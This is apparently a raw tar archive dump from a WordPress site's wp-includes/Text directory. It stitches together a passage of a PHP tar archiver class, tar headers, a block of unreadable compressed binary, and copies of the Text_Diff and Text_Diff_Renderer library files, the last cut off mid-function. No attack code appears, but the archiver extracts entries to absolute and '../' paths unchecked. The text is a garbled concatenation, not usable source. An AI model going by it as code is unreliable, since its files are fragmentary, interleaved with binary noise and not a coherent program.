		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer/Diff.php.php.tar.gz                                                                        0000644                 00000005520 15217306007 0011670 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Zyo8OfZn}%4im)m6b13h9%-E{-9LPԶH>.2h.W\+0^3=˸/C/X"s=|-'A<3ɣGGݧOxw鏣O'Oww\Y$+.g6VB<~&bSe8e<՜kgz& x"acBHL/#-@4aV4 Hɩa㟎ٙPBg2a^	[*xF+v2`TT"g~"5=@h}k᳥3c2S^E
i;=jګyhgD)XE	O3gu7.Gpk,)4D3@W[2dhlr޿=~w`ifJxB	M<$Dh<Å=qSwʧap1[ ^$d y^*Woé@@:+q}3O|
_dFU4`hpkQv1ǹe"
 a!u@KQ',e0Fx !"у
CM?CnĨh7XrC

M?ܛ'E2ĭ 6$'@J&,B 4𴓪ڥl_%W>l8AcHbHr-B͖ܓkXn >fFbEw<Z<Y:άmQ}A};s#xW:!{&;2@h#;'荼RsdTe Rw\;P}0<"dXˆ&Pnaaa>f2biI8mtC`:\k,iY cتuAE6 䐡)rf4!=[͍/0I
+ŝBCUQDL֪u½] CbM`g0NPS-G4ꁫ{Tx& 0F9 b,,ʎmVuOaܡ^cT知%urZ *?'X-9e--Qh3FxRrGgwetu}mE6\ޮ(j&*7Y@쥿a}hinV;n3̇`:-ڍ|ٰH
B%hLtZPȐ(*z$k4Hvo4\`BPoCGaGS\6O	Th8Iޡj35(f3U@-Keû鬳ہȳ2ct֤8w8^H&vEr?2b5yLjNjhfi(`'j!Pv	gGcCb=5]#*ݻ @^tHD(TCmGدi2?/ƩI}[	GgAOC	zCVI!^}nD5xy٢,1|ݎ6+} fBeq/UDJdY}kRvUB
}en6S˧=,mwthW5xy1}Yn{n!{xǮiH$֔QG_ՊW2ޛ;3d>QfP\X@T: jx(860XeJ.8K:Z9"&FC)W0MNfi@Pg= 'lDUn}냕׹OhF4 m*0~	zlL6uFlIyR+IJq¼_=H0
DOgzU4T)"l9 b*kBJn3{%k9ja\)v8U8$&q
=fYX)XM;wr
)ǝ5
*d({|ĄR
%S=S2K=#K֧< xkoXGV8iTfexc5|Iީjm'y=:j]ESUL犋 Y2ʈ;0f:QptHiM	]#$_<jMZU!1vS#FV:g/
oJ<O-?~_7(]^"^1BCz=aS(x"`:<ǃvscԬ,9Sȗн@WW7&Zҵ)pR85InҎNf"ٌ\[|"s藍4
y&.fo<ƹ45{Z4GUCfmNFftKܿ5^-j5"f,DiVp5B*_my6T;BÅzopy!O3JN />J>aKޖ&sEMhك%j#<Yd׉Ec[dfQh"YLW(LJ$MS4G& ̪(eZkaZ\4ޖVjRO&ϸT91QUYH*^d$23/hof;2ke7J{iPR%;i<$)50gEwȳ^Y]q˔R-갗{;g$;%(jd4pQ0emZnkեK8ЀɋeRK \^-@Ѯ2d
)\2FʜV}{8t!(˝}@&֓՚Pqم䭱wypqWoe 6                                                                                                                                                                                  Renderer/Renderer.php.tar                                                                           0000644                 00000021000 15217306007 0011350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer.php                                      0000644                 00000015226 15217301655 0020455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer/Diff.php.tar                                                                               0000644                 00000033000 15217306007 0010455 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff.php                                               0000644                 00000027266 15217305762 0016721 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * General API for generating and formatting diffs - the differences between
 * two sequences of strings.
 *
 * The original PHP version of this code was written by Geoffrey T. Dairiki
 * <dairiki@dairiki.org>, and is used/adapted with his permission.
 *
 * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_Diff {

    /**
     * Array of changes.
     *
     * @var array
     */
    var $_edits;

    /**
     * Computes diffs between sequences of strings.
     *
     * @param string $engine     Name of the diffing engine to use.  'auto'
     *                           will automatically select the best.
     * @param array $params      Parameters to pass to the diffing engine.
     *                           Normally an array of two arrays, each
     *                           containing the lines from a file.
     */
    function __construct( $engine, $params )
    {
        // Backward compatibility workaround.
        if (!is_string($engine)) {
            $params = array($engine, $params);
            $engine = 'auto';
        }

        if ($engine == 'auto') {
            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
        } else {
            $engine = basename($engine);
        }

        // WP #7391
        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
        $class = 'Text_Diff_Engine_' . $engine;
        $diff_engine = new $class();

        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff( $engine, $params ) {
		self::__construct( $engine, $params );
	}

    /**
     * Returns the array of differences.
     */
    function getDiff()
    {
        return $this->_edits;
    }

    /**
     * returns the number of new (added) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of new lines
     */
    function countAddedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_add') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->nfinal();
            }
        }
        return $count;
    }

    /**
     * Returns the number of deleted (removed) lines in a given diff.
     *
     * @since Text_Diff 1.1.0
     *
     * @return int The number of deleted lines
     */
    function countDeletedLines()
    {
        $count = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_delete') ||
                is_a($edit, 'Text_Diff_Op_change')) {
                $count += $edit->norig();
            }
        }
        return $count;
    }

    /**
     * Computes a reversed diff.
     *
     * Example:
     * <code>
     * $diff = new Text_Diff($lines1, $lines2);
     * $rev = $diff->reverse();
     * </code>
     *
     * @return Text_Diff  A Diff object representing the inverse of the
     *                    original diff.  Note that we purposely don't return a
     *                    reference here, since this essentially is a clone()
     *                    method.
     */
    function reverse()
    {
        if (version_compare(zend_version(), '2', '>')) {
            $rev = clone($this);
        } else {
            $rev = $this;
        }
        $rev->_edits = array();
        foreach ($this->_edits as $edit) {
            $rev->_edits[] = $edit->reverse();
        }
        return $rev;
    }

    /**
     * Checks for an empty diff.
     *
     * @return bool True if two sequences were identical.
     */
    function isEmpty()
    {
        foreach ($this->_edits as $edit) {
            if (!is_a($edit, 'Text_Diff_Op_copy')) {
                return false;
            }
        }
        return true;
    }

    /**
     * Computes the length of the Longest Common Subsequence (LCS).
     *
     * This is mostly for diagnostic purposes.
     *
     * @return int The length of the LCS.
     */
    function lcs()
    {
        $lcs = 0;
        foreach ($this->_edits as $edit) {
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                $lcs += count($edit->orig);
            }
        }
        return $lcs;
    }

    /**
     * Gets the original set of lines.
     *
     * This reconstructs the $from_lines parameter passed to the constructor.
     *
     * @return array  The original sequence of strings.
     */
    function getOriginal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->orig) {
                array_splice($lines, count($lines), 0, $edit->orig);
            }
        }
        return $lines;
    }

    /**
     * Gets the final set of lines.
     *
     * This reconstructs the $to_lines parameter passed to the constructor.
     *
     * @return array  The sequence of strings.
     */
    function getFinal()
    {
        $lines = array();
        foreach ($this->_edits as $edit) {
            if ($edit->final) {
                array_splice($lines, count($lines), 0, $edit->final);
            }
        }
        return $lines;
    }

    /**
     * Removes trailing newlines from a line of text. This is meant to be used
     * with array_walk().
     *
     * @param string $line  The line to trim.
     * @param int    $key   The index of the line in the array. Not used.
     */
    static function trimNewlines(&$line, $key)
    {
        $line = str_replace(array("\n", "\r"), '', $line);
    }

    /**
     * Determines the location of the system temporary directory.
     *
     * @access protected
     *
     * @return string  A directory name which can be used for temp files.
     */
    static function _getTempDir()
    {
        return get_temp_dir();
    }

    /**
     * Checks a diff for validity.
     *
     * This is here only for debugging purposes.
     */
    function _check($from_lines, $to_lines)
    {
        if (serialize($from_lines) != serialize($this->getOriginal())) {
            throw new Text_Exception("Reconstructed original does not match");
        }
        if (serialize($to_lines) != serialize($this->getFinal())) {
            throw new Text_Exception("Reconstructed final does not match");
        }

        $rev = $this->reverse();
        if (serialize($to_lines) != serialize($rev->getOriginal())) {
            throw new Text_Exception("Reversed original does not match");
        }
        if (serialize($from_lines) != serialize($rev->getFinal())) {
            throw new Text_Exception("Reversed final does not match");
        }

        $prevtype = null;
        foreach ($this->_edits as $edit) {
            if ($prevtype !== null && $edit instanceof $prevtype) {
                throw new Text_Exception("Edit sequence is non-optimal");
            }
            $prevtype = get_class($edit);
        }

        return true;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 */
class Text_MappedDiff extends Text_Diff {

    /**
     * Computes a diff between sequences of strings.
     *
     * This can be used to compute things like case-insensitive diffs, or diffs
     * which ignore changes in white-space.
     *
     * @param array $from_lines         An array of strings.
     * @param array $to_lines           An array of strings.
     * @param array $mapped_from_lines  This array should have the same size
     *                                  number of elements as $from_lines.  The
     *                                  elements in $mapped_from_lines and
     *                                  $mapped_to_lines are what is actually
     *                                  compared when computing the diff.
     * @param array $mapped_to_lines    This array should have the same number
     *                                  of elements as $to_lines.
     */
    function __construct($from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines)
    {
        assert(count($from_lines) == count($mapped_from_lines));
        assert(count($to_lines) == count($mapped_to_lines));

        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);

        $xi = $yi = 0;
        for ($i = 0; $i < count($this->_edits); $i++) {
            $orig = &$this->_edits[$i]->orig;
            if (is_array($orig)) {
                $orig = array_slice($from_lines, $xi, count($orig));
                $xi += count($orig);
            }

            $final = &$this->_edits[$i]->final;
            if (is_array($final)) {
                $final = array_slice($to_lines, $yi, count($final));
                $yi += count($final);
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_MappedDiff( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines ) {
		self::__construct( $from_lines, $to_lines,
                             $mapped_from_lines, $mapped_to_lines );
	}

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
abstract class Text_Diff_Op {

    var $orig;
    var $final;

    abstract function &reverse();

    function norig()
    {
        return $this->orig ? count($this->orig) : 0;
    }

    function nfinal()
    {
        return $this->final ? count($this->final) : 0;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_copy extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final = false )
    {
        if (!is_array($final)) {
            $final = $orig;
        }
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_copy( $orig, $final = false ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_delete extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
	function __construct( $lines )
    {
        $this->orig = $lines;
        $this->final = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_delete( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_add($this->orig);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_add extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $lines )
    {
        $this->final = $lines;
        $this->orig = false;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_add( $lines ) {
		self::__construct( $lines );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_delete($this->final);
        return $reverse;
    }

}

/**
 * @package Text_Diff
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 *
 * @access private
 */
class Text_Diff_Op_change extends Text_Diff_Op {

	/**
	 * PHP5 constructor.
	 */
    function __construct( $orig, $final )
    {
        $this->orig = $orig;
        $this->final = $final;
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Op_change( $orig, $final ) {
		self::__construct( $orig, $final );
	}

    function &reverse()
    {
        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
        return $reverse;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Renderer.php                                                                                        0000644                 00000015226 15217306007 0007032 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
